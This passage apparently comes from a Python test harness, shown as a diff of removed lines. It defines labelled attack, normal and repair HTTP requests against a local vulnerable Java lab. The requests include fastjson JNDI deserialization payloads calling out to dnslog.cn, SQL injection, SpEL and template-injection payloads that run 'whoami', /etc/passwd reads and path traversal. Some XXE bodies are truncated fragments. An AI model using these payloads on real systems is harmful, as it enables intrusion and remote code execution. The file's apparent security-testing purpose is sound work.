'fastjson1_2_61_attack_2': { - 'method': 'POST', - 'url': 'http://{}:9981/fastjson1.2.61-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://fastjson1.2.61-process.dnslog.cn/Exploit","Object":"a"}', - 'name': 'fastjson-1.2.61反序列漏洞-payload2', - 'type': 'attack', - }, - 'fastjson1_2_61_normal': { - 'method': 'POST', - 'url': 'http://{}:9981/fastjson1.2.61-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"name":"123","email":"123@123","age":"123"}', - 'name': 'fastjson-1.2.61反序列漏洞', - 'type': 'normal', - }, - - 'fastjson1_2_62_attack_1': { - 'method': 'POST', - 'url': 'http://{}:9980/fastjson1.2.62-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://fastjson1.2.62-process.dnslog.cn/Exploit"}', - 'name': 'fastjson-1.2.62反序列漏洞-payload1', - 'type': 'attack', - }, - - 'fastjson1_2_62_attack_2': { - 'method': 'POST', - 'url': 'http://{}:9980/fastjson1.2.62-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://fastjson1.2.62-process.dnslog.cn/Exploit"}}', - 'name': 'fastjson-1.2.62反序列漏洞-payload2', - 'type': 'attack', - }, - - - 'fastjson1_2_62_normal': { - 'method': 'POST', - 'url': 'http://{}:9980/fastjson1.2.62-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"name":"123","email":"123@123","age":"123"}', - 'name': 'fastjson-1.2.62反序列漏洞', - 'type': 'normal', - }, - - 'fastjson1_2_66_attack_1': { - 'method': 'POST', - 'url': 'http://{}:9979/fastjson1.2.66-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"com.caucho.config.types.ResourceRef","LookupName":"rmi://fastjson1.2.66-process.dnslog.cn/Exploit"}', - 'name': 'fastjson-1.2.66反序列漏洞-payload1', - 'type': 'attack', - }, - - 'fastjson1_2_66_attack_2': { - 'method': 'POST', - 'url': 'http://{}:9979/fastjson1.2.66-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://fastjson1.2.66-process.dnslog.cn/Exploit"}', - 'name': 'fastjson-1.2.66反序列漏洞-payload2', - 'type': 'attack', - }, - - 'fastjson1_2_66_attack_3': { - 'method': 'POST', - 'url': 'http://{}:9979/fastjson1.2.66-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://fastjson1.2.66-process.dnslog.cn/Exploit"}', - 'name': 'fastjson-1.2.66反序列漏洞-payload3', - 'type': 'attack', - }, - - 'fastjson1_2_66_attack_4': { - 'method': 'POST', - 'url': 'http://{}:9979/fastjson1.2.66-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://fastjson1.2.66-process.dnslog.cn/Exploit"}', - 'name': 'fastjson-1.2.66反序列漏洞-payload4', - 'type': 'attack', - }, - - 'fastjson1_2_66_attack_5': { - 'method': 'POST', - 'url': 'http://{}:9979/fastjson1.2.66-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://fastjson1.2.66-process.dnslog.cn/Exploit"}', - 'name': 'fastjson-1.2.66反序列漏洞-payload5', - 'type': 'attack', - }, - - 'fastjson1_2_66_attack_6': { - 'method': 'POST', - 'url': 'http://{}:9979/fastjson1.2.66-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://fastjson1.2.66-process.dnslog.cn/Exploit"], "Realms":[""]}', - 'name': 'fastjson-1.2.66反序列漏洞-payload6', - 'type': 'attack', - }, - - 'fastjson1_2_66_normal': { - 'method': 'POST', - 'url': 'http://{}:9979/fastjson1.2.66-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"name":"123","email":"123@123","age":"123"}', - 'name': 'fastjson-1.2.66反序列漏洞', - 'type': 'normal', - }, - - 'fastjson1_2_67_attack_1': { - 'method': 'POST', - 'url': 'http://{}:9978/fastjson1.2.67-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://fastjson1.2.67-process.dnslog.cn/Exploit"], "tm": {"$ref":"$.tm"}}', - 'name': 'fastjson-1.2.67反序列漏洞-payload1', - 'type': 'attack', - }, - - 'fastjson1_2_67_attack_2': { - 'method': 'POST', - 'url': 'http://{}:9978/fastjson1.2.67-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://fastjson1.2.67-process.dnslog.cn/Exploit","instance":{"$ref":"$.instance"}}', - 'name': 'fastjson-1.2.67反序列漏洞-payload2', - 'type': 'attack', - }, - - 'fastjson1_2_67_normal': { - 'method': 'POST', - 'url': 'http://{}:9978/fastjson1.2.67-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"name":"123","email":"123@123","age":"123"}', - 'name': 'fastjson-1.2.67反序列漏洞', - 'type': 'normal', - }, - - 'fastjson1_2_68_attack_1': { - 'method': 'POST', - 'url': 'http://{}:9977/fastjson1.2.68-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://fastjson1.2.68-process.dnslog.cn/Calc"}', - 'name': 'fastjson-1.2.68反序列漏洞-payload1', - 'type': 'attack', - }, - - 'fastjson1_2_68_attack_2': { - 'method': 'POST', - 'url': 'http://{}:9977/fastjson1.2.68-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://fastjson1.2.68-process.dnslog.cn/Calc"}', - 'name': 'fastjson-1.2.68反序列漏洞-payload2', - 'type': 'attack', - }, - - 'fastjson1_2_68_normal': { - 'method': 'POST', - 'url': 'http://{}:9977/fastjson1.2.68-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"name":"123","email":"123@123","age":"123"}', - 'name': 'fastjson-1.2.68反序列漏洞', - 'type': 'normal', - }, - - 'fastjson1_2_80_attack': { - 'method': 'POST', - 'url': 'http://{}:9976/fastjson1.2.80-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"@type": "java.lang.Exception","@type": "myapp.Poc","name": "ping fastjson1.2.80-process.dnslog.cn"}', - 'name': 'fastjson-1.2.80反序列漏洞', - 'type': 'attack', - }, - - 'fastjson1_2_80_normal': { - 'method': 'POST', - 'url': 'http://{}:9976/fastjson1.2.80-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"name":"123","email":"123@123","age":"123"}', - 'name': 'fastjson-1.2.80反序列漏洞', - 'type': 'normal', - }, - - 'fastjson1_2_83_normal': { - 'method': 'POST', - 'url': 'http://{}:9975/fastjson1.2.83-process'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"name":"123","email":"123@123","age":"123"}', - 'name': 'fastjson-1.2.83-反序列漏洞', - 'type': 'normal', - }, - - - - - - 'druid_unauthorized': { - 'method': 'GET', - 'url': 'http://{}:9997/druid'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'druid未授权漏洞', - 'type': 'attack', - }, - 'druid_authorized': { - 'method': 'GET', - 'url': 'http://{}:9996/druid'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'druid未授权漏洞', - 'type': 'repair', - }, - -'druid_sqlwall': { - 'method': 'GET', - 'url': 'http://{}:9997/druid_sql?id=1'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'druid-SQL防火墙', - 'type': 'mistake', - }, - - 'actuator2_unauthorized': { - 'method': 'GET', - 'url': 'http://{}:9995/actuator'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SpringBoot Actuator未授权访问漏洞2.X', - 'type': 'attack', - }, - 'actuator2_authorized': { - 'method': 'GET', - 'url': 'http://{}:9994/actuator'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SpringBoot Actuator未授权访问漏洞2.X', - 'type': 'repair', - }, - 'actuator1_unauthorized': { - 'method': 'GET', - 'url': 'http://{}:9993/trace'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SpringBoot Actuator未授权访问漏洞1.X', - 'type': 'attack', - }, - 'actuator1_authorized': { - 'method': 'GET', - 'url': 'http://{}:9992/trace'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SpringBoot Actuator未授权访问漏洞1.X', - 'type': 'repair', - }, - 'sql_injection_id_attack': { - 'method': 'GET', - 'url': "http://{}:9991/users/1'/".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-mybatics-数字', - 'type': 'attack', - }, - 'sql_injection_ids_attack': { - 'method': 'GET', - 'url': "http://{}:9991/users/ids/?ids=1,2,3'".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-mybatics-数组', - 'type': 'attack', - }, - 'sql_injection_like_attack': { - 'method': 'GET', - 'url': "http://{}:9991/users/name?name=A'".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-mybatics-like模糊匹配', - 'type': 'attack', - }, - 'sql_injection_strs_attack': { - 'method': 'GET', - 'url': "http://{}:9991/users/names?names=Alice&names=Bob'".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-mybatics-字符串数组', - 'type': 'attack', - }, - 'sql_injection_orderby_attack': { - 'method': 'GET', - 'url': "http://{}:9991/users/sort?orderByColumn=name&orderByDirection=asc'".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-mybatics-排序', - 'type': 'attack', - }, - - 'sql_injection_Optional_attack': { - 'method': 'GET', - 'url': "http://{}:9991/users/findByOptionalUsername?username=test'".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-Optional', - 'type': 'attack', - }, - - 'sql_injection_Object_attack': { - 'method': 'POST', - 'url': "http://{}:9991/users/get_name_object".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data':'{"name":"test\'"}', - 'name': 'SQL注入-Object', - 'type': 'attack', - }, - - 'sql_injection_Annotation_attack': { - 'method': 'GET', - 'url': "http://{}:9991/users/by-username?name=test'".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-MyBatis注解方式', - 'type': 'attack', - }, - - 'sql_injection_lombok_attack': { - 'method': 'POST', - 'url': "http://{}:9991/users/lombok".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data':'{"name":"test\'"}', - 'name': 'SQL注入-lombok', - 'type': 'attack', - }, - - 'sql_injection_hsqldb_attack': { - 'method': 'GET', - 'url': "http://{}:9989/hsqldb?username=1'".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-hsqldb', - 'type': 'attack', - }, - - 'sql_injection_Hibernate_attack': { - 'method': 'GET', - 'url': "http://{}:9988/Hibernate_injection?username=foobar' OR (SELECT COUNT(*) FROM User)>=0 OR 'foobar'='".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-Hibernate', - 'type': 'attack', - }, - - - - 'sql_injection_hsqldb_normal': { - 'method': 'GET', - 'url': "http://{}:9989/hsqldb?username=1'".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-hsqldb', - 'type': 'normal', - }, - - 'sql_injection_lombok_normal': { - 'method': 'POST', - 'url': "http://{}:9991/users/lombok".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data':'{"name":"test"}', - 'name': 'SQL注入-lombok', - 'type': 'normal', - }, - - 'sql_injection_longlist_normal': { - 'method': 'POST', - 'url': "http://{}:9991/users/findByIds".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data':'[1,2,3]', - 'name': 'SQL注入-longlist', - 'type': 'normal', - }, - - 'sql_injection_longint_normal': { - 'method': 'POST', - 'url': "http://{}:9991/users/getUserByUId".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data': '{"id":"1"}', - 'name': 'SQL注入-longint', - 'type': 'normal', - }, - - 'sql_injection_jpaone_normal': { - 'method': 'GET', - 'url': "http://{}:9991/users/jpaone?name=test".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-jpaone', - 'type': 'normal', - }, - - 'sql_injection_jpawithAnnotations_normal': { - 'method': 'GET', - 'url': "http://{}:9991/users/jpawithAnnotations?name=test".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-jpawithAnnotations', - 'type': 'normal', - }, - - 'sql_injection_Annotation_normal': { - 'method': 'GET', - 'url': "http://{}:9991/users/by-username?name=test".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-MyBatis注解方式', - 'type': 'normal', - }, - - 'sql_injection_id_normal': { - 'method': 'GET', - 'url': 'http://{}:9991/users/1/'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-mybatics-数字', - 'type': 'normal', - }, - 'sql_injection_ids_normal': { - 'method': 'GET', - 'url': 'http://{}:9991/users/ids/?ids=1,2,3'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-mybatics-数组', - 'type': 'normal', - }, - 'sql_injection_like_normal': { - 'method': 'GET', - 'url': 'http://{}:9991/users/name?name=A'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-mybatics-like模糊匹配', - 'type': 'normal', - }, - 'sql_injection_strs_normal': { - 'method': 'GET', - 'url': 'http://{}:9991/users/names?names=Alice&names=Bob'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-mybatics-字符串数组', - 'type': 'normal', - }, - 'sql_injection_orderby_normal': { - 'method': 'GET', - 'url': 'http://{}:9991/users/sort?orderByColumn=name&orderByDirection=asc'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-mybatics-排序', - 'type': 'normal', - }, - - 'sql_injection_Optional_normal': { - 'method': 'GET', - 'url': "http://{}:9991/users/findByOptionalUsername?username=test".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-Optional', - 'type': 'normal', - }, - - 'sql_injection_Object_normal': { - 'method': 'POST', - 'url': "http://{}:9991/users/get_name_object".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data':'{"name":"test"}', - 'name': 'SQL注入-Object', - 'type': 'normal', - }, - - - - 'xss_reflect_attack': { - 'method': 'GET', - 'url': 'http://{}:9991/xss_reflect?name='.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '反射型XSS漏洞', - 'type': 'attack', - }, - 'xss_reflect_normal': { - 'method': 'GET', - 'url': 'http://{}:9991/xss_reflect?name=1'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '反射型XSS漏洞', - 'type': 'normal', - }, - 'xss_storage_attack': { - 'method': 'GET', - 'url': 'http://{}:9991/xss_storage?name='.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '存储型XSS漏洞', - 'type': 'attack', - }, - 'xss_dom_attack': { - 'method': 'POST', - 'url': 'http://{}:9991/xss_dom'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'DOM XSS漏洞', - 'data': 'name=%3Cscript%3Ealert%28123%29%3C%2Fscript%3E', - 'type': 'attack', - }, - 'xss_dom_normal': { - 'method': 'POST', - 'url': 'http://{}:9991/xss_dom'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'DOM XSS漏洞', - 'data': 'name=test', - 'type': 'normal', - }, - - 'file_upload_attack': { - 'method': 'POST', - 'url': 'http://{}:9991/file_upload'.format(host), - 'headers': {}, - 'parm': 'file', - 'file': 'test.txt', - 'name': '任意文件上传漏洞', - 'type': 'attack', - }, - - 'file_read_attack': { - 'method': 'GET', - 'url': 'http://{}:9991/file_read?filePath=/etc/passwd'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '任意文件读取漏洞', - 'type': 'attack', - }, - - 'file_write_attack': { - 'method': 'GET', - 'url': 'http://{}:9991/file_write?fileName=test.txt&data=test'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '任意文件写入漏洞', - 'type': 'attack', - }, - - 'file_download_attack': { - 'method': 'GET', - 'url': 'http://{}:9991/file_download?fileName=../pom.xml'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '任意文件下载漏洞', - 'type': 'attack', - }, - 'file_download_normal': { - 'method': 'GET', - 'url': 'http://{}:9991/file_download?fileName=test.txt'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '任意文件下载漏洞', - 'type': 'normal', - }, - - 'file_delete_attack': { - 'method': 'GET', - 'url': 'http://{}:9991/file_delete?fileName=test.txt'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '任意文件删除漏洞', - 'type': 'attack', - }, - - 'runtime_command_execute': { - 'method': 'GET', - 'url': 'http://{}:9991/runtime_command_execute?command=whoami'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '命令执行漏洞-runtime', - 'type': 'attack', - }, - - 'process_builder_command_execute': { - 'method': 'GET', - 'url': 'http://{}:9991/process_builder_command_execute?command=whoami'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '命令执行漏洞-ProcessBuilder', - 'type': 'attack', - }, - - 'crlf_injection_attack': { - 'method': 'GET', - 'url': 'http://{}:9991/crlf_injection?name=%0D%0ASet-Cookie: sessionid=123456'.format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'CRLF注入', - 'type': 'attack', - }, - - 'spel_expression_attack': { - 'method': 'GET', - 'url': "http://{}:9991/spel_expression?input=T(java.lang.Runtime).getRuntime().exec('whoami')".format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SPEL表达式攻击', - 'type': 'attack', - }, - - 'ssrf_openStream_attack': { - 'method': 'GET', - 'url': "http://{}:9991/ssrf_openStream?url=https://www.baidu.com".format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SSRF攻击-openStream', - 'type': 'attack', - }, - - 'ssrf_openConnection_attack': { - 'method': 'GET', - 'url': "http://{}:9991/ssrf_openConnection?url=http://www.baidu.com".format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SSRF攻击-openConnection', - 'type': 'attack', - }, - - 'ssrf_requestGet_attack': { - 'method': 'GET', - 'url': "http://{}:9991/ssrf_requestGet?url=https://www.baidu.com".format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SSRF攻击-requestGet', - 'type': 'attack', - }, - - 'ssrf_okhttp_attack': { - 'method': 'GET', - 'url': "http://{}:9991/ssrf_okhttp?url=https://www.baidu.com".format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SSRF攻击-okhttp', - 'type': 'attack', - }, - - 'ssrf_defaultHttpClient_attack': { - 'method': 'GET', - 'url': "http://{}:9991/ssrf_defaultHttpClient?url=https://www.baidu.com".format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SSRF攻击-defaultHttpClient', - 'type': 'attack', - }, - - - - 'ssti_velocity_attack': { - 'method': 'GET', - 'url': """http://{}:9991/ssti_velocity?content=%23set (%24exp %3d "exp")%3b%24exp.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SSTI攻击-velocity', - 'type': 'attack', - }, - 'ssti_freemarker_attack': { - 'method': 'GET', - 'url': """http://{}:9991/ssti_freemarker?templateContent=%3C%23assign%20ex%3D%22freemarker.template.utility.Execute%22%3Fnew%28%29%3E%24%7B%20ex%28%22bash%20-c%20whoami%22%29%20%7D""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SSTI攻击-freemarker', - 'type': 'attack', - }, - - 'xxe_saxparserfactory_attack': { - 'method': 'POST', - 'url': """http://{}:9991/xxe_saxparserfactory""".format( - host), - 'data': """]>&xxe;""", - 'headers': {'Content-Type': 'application/json'}, - 'name': 'XXE-saxparserfactory', - 'type': 'attack', - }, - 'xxe_xmlreaderfactory_attack': { - 'method': 'POST', - 'url': """http://{}:9991/xxe_xmlreaderfactory""".format( - host), - 'data': """]>&xxe;""", - 'headers': {'Content-Type': 'application/json'}, - 'name': 'XXE-xmlreaderfactory', - 'type': 'attack', - }, - - 'xxe_saxbuilder_attack': { - 'method': 'POST', - 'url': """http://{}:9991/xxe_saxbuilder""".format( - host), - 'data': """]>&xxe;""", - 'headers': {'Content-Type': 'application/json'}, - 'name': 'XXE-saxbuilder', - 'type': 'attack', - }, - 'xxe_saxreader_attack': { - 'method': 'POST', - 'url': """http://{}:9991/xxe_saxreader""".format( - host), - 'data': """]>&xxe;""", - 'headers': {'Content-Type': 'application/json'}, - 'name': 'XXE-saxreader', - 'type': 'attack', - }, - 'xxe_documentbuilderfactory_attack': { - 'method': 'POST', - 'url': """http://{}:9991/xxe_documentbuilderfactory""".format( - host), - 'data': """]>&xxe;""", - 'headers': {'Content-Type': 'application/json'}, - 'name': 'XXE-documentbuilderfactory', - 'type': 'attack', - }, - - 'xxe_documentbuilderfactory_xinclude_attack': { - 'method': 'POST', - 'url': """http://{}:9991/xxe_documentbuilderfactory_xinclude""".format( - host), - 'data': """]>&xxe;""", - 'headers': {'Content-Type': 'application/json'}, - 'name': 'XXE-documentbuilderfactory_xinclude', - 'type': 'attack', - }, - - 'OpenRedirector_ModelAndView_attack': { - 'method': 'GET', - 'url': """http://{}:9991/OpenRedirector_ModelAndView?url=https://www.baidu.com""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'URL重定向漏洞-ModelAndView', - 'type': 'attack', - }, - - 'OpenRedirector_sendRedirect_attack': { - 'method': 'GET', - 'url': """http://{}:9991/OpenRedirector_sendRedirect?url=https://www.baidu.com""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'URL重定向漏洞-sendRedirect', - 'type': 'attack', - }, - - 'OpenRedirector_lacation_attack': { - 'method': 'GET', - 'url': """http://{}:9991/OpenRedirector_lacation?url=https://www.baidu.com""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'URL重定向漏洞-location', - 'type': 'attack', - }, - 'swagger-ui_attack': { - 'method': 'GET', - 'url': """http://{}:9991/swagger-ui.html""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'swagger-ui-未授权访问漏洞', - 'type': 'attack', - }, - - -'ReDos_normal_1': { - 'method': 'GET', - 'url': """http://{}:9991/testReDos1?input=1""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'ReDoS攻击-(a+)+', - 'type': 'normal', - }, - -'ReDos_normal_2': { - 'method': 'GET', - 'url': """http://{}:9991/testReDos2?input=1""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'ReDoS攻击-([a-zA-Z]+)*', - 'type': 'normal', - }, - -'ReDos_normal_3': { - 'method': 'GET', - 'url': """http://{}:9991/testReDos3?input=1""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'ReDoS攻击-(a|aa)+', - 'type': 'normal', - }, - -'ReDos_normal_4': { - 'method': 'GET', - 'url': """http://{}:9991/testReDos4?input=1""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'ReDoS攻击-(a|a?)+', - 'type': 'normal', - }, -'ReDos_normal_5': { - 'method': 'GET', - 'url': """http://{}:9991/testReDos5?input=1""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'ReDoS攻击-(.*a){20}', - 'type': 'normal', - }, - -'unsafeReflection_attack': { - 'method': 'GET', - 'url': """http://{}:9991/unsafeReflection?className=com.example.malicious.MaliciousClass""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': '不安全反射漏洞-攻击', - 'type': 'attack', - }, - -'unsafeReflection_normal_1': { - 'method': 'GET', - 'url': """http://{}:9991/unsafeReflection?className=java.lang.Runtime""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': '不安全反射漏洞-无法利用', - 'type': 'normal', - }, - -'unsafeReflection_normal_2': { - 'method': 'GET', - 'url': """http://{}:9991/unsafeReflection?className=java.util.Date""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': '不安全反射漏洞-显示日期', - 'type': 'normal', - }, - - - 'xxe_wxpay_attack': { - 'method': 'POST', - 'url': """http://{}:9974/wxpay-xxe""".format( - host), - 'data': """]>&xxe;""", - 'headers': {'Content-Type': 'application/json'}, - 'name': '微信支付XXE漏洞', - 'type': 'attack', - }, - - 'xstream_CVE-2019-10173': { - 'method': 'POST', - 'url': """http://{}:9973/CVE-2019-10173""".format( - host), - 'data': """java.lang.Comparablecp/etc/passwd/tmpstart""", - 'headers': {'Content-Type': 'application/json'}, - 'name': 'xstream 反序列化漏洞(CVE-2019-10173)', - 'type': 'attack', - }, - - 'jackson-databind_CVE-2019-12384': { - 'method': 'GET', - 'url': """http://{}:9971/CVE-2019-12384""".format( - host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'jackson-databind 反序列化漏洞(CVE-2019-12384)', - 'type': 'attack', - }, - - - - - - - - - - - - - - 'sql_injection_id_repair': { - 'method': 'GET', - 'url': "http://{}:9990/users/1'/".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-mybatics-数字', - 'type': 'repair', - }, - 'sql_injection_ids_repair': { - 'method': 'GET', - 'url': "http://{}:9990/users/ids/?ids=1,2,3'".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-mybatics-数组', - 'type': 'repair', - }, - 'sql_injection_like_repair': { - 'method': 'GET', - 'url': "http://{}:9990/users/name?name=A'".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-mybatics-like模糊匹配', - 'type': 'repair', - }, - 'sql_injection_strs_repair': { - 'method': 'GET', - 'url': "http://{}:9990/users/names?names=Alice&names=Bob'".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-mybatics-字符串数组', - 'type': 'repair', - }, - 'sql_injection_orderby_repair': { - 'method': 'GET', - 'url': "http://{}:9990/users/sort?orderByColumn=name&orderByDirection=asc'".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-mybatics-排序', - 'type': 'repair', - }, - - 'xss_reflect_htmlEscape_repair': { - 'method': 'GET', - 'url': 'http://{}:9990/xss_reflect_htmlEscape?name='.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '反射型XSS漏洞-htmlEscape类', - 'type': 'repair', - }, - - 'xss_reflect_escapeHtml4_repair': { - 'method': 'GET', - 'url': 'http://{}:9990/xss_reflect_escapeHtml4?name='.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '反射型XSS漏洞-escapeHtml4类', - 'type': 'repair', - }, - 'xss_reflect_escapeHtml_reparir': { - 'method': 'GET', - 'url': 'http://{}:9990/xss_reflect_escapeHtml?name='.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '反射型XSS漏洞-html编码', - 'type': 'repair', - }, - 'xss_storage_thymeleaf_reparir': { - 'method': 'GET', - 'url': 'http://{}:9990/xss_storage_thymeleaf?name='.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '存储型XSS漏洞-thymeleaf模板过滤', - 'type': 'repair', - }, - - 'file_upload_repair': { - 'method': 'POST', - 'url': 'http://{}:9990/file_upload'.format(host), - 'headers': {}, - 'parm': 'file', - 'file': 'test.txt', - 'name': '任意文件上传漏洞', - 'type': 'repair', - }, - - 'file_read_repair': { - 'method': 'GET', - 'url': 'http://{}:9990/file_read?filePath=pom.xml'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '文件读取漏洞', - 'type': 'repair', - }, - - 'file_write_repair': { - 'method': 'GET', - 'url': 'http://{}:9990/file_write?fileName=test.txt&data=test'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '任意文件写入漏洞', - 'type': 'repair', - }, - 'file_write_normal': { - 'method': 'GET', - 'url': 'http://{}:9990/file_write?fileName=test.log&data=test'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '任意文件写入漏洞', - 'type': 'normal', - }, - 'file_download_repair': { - 'method': 'GET', - 'url': 'http://{}:9990/file_download?fileName=../test.log'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '任意文件下载漏洞', - 'type': 'repair', - }, - 'file_download_normal': { - 'method': 'GET', - 'url': 'http://{}:9990/file_download?fileName=test.log'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '任意文件下载漏洞', - 'type': 'normal', - }, - - 'file_delete_repair': { - 'method': 'GET', - 'url': 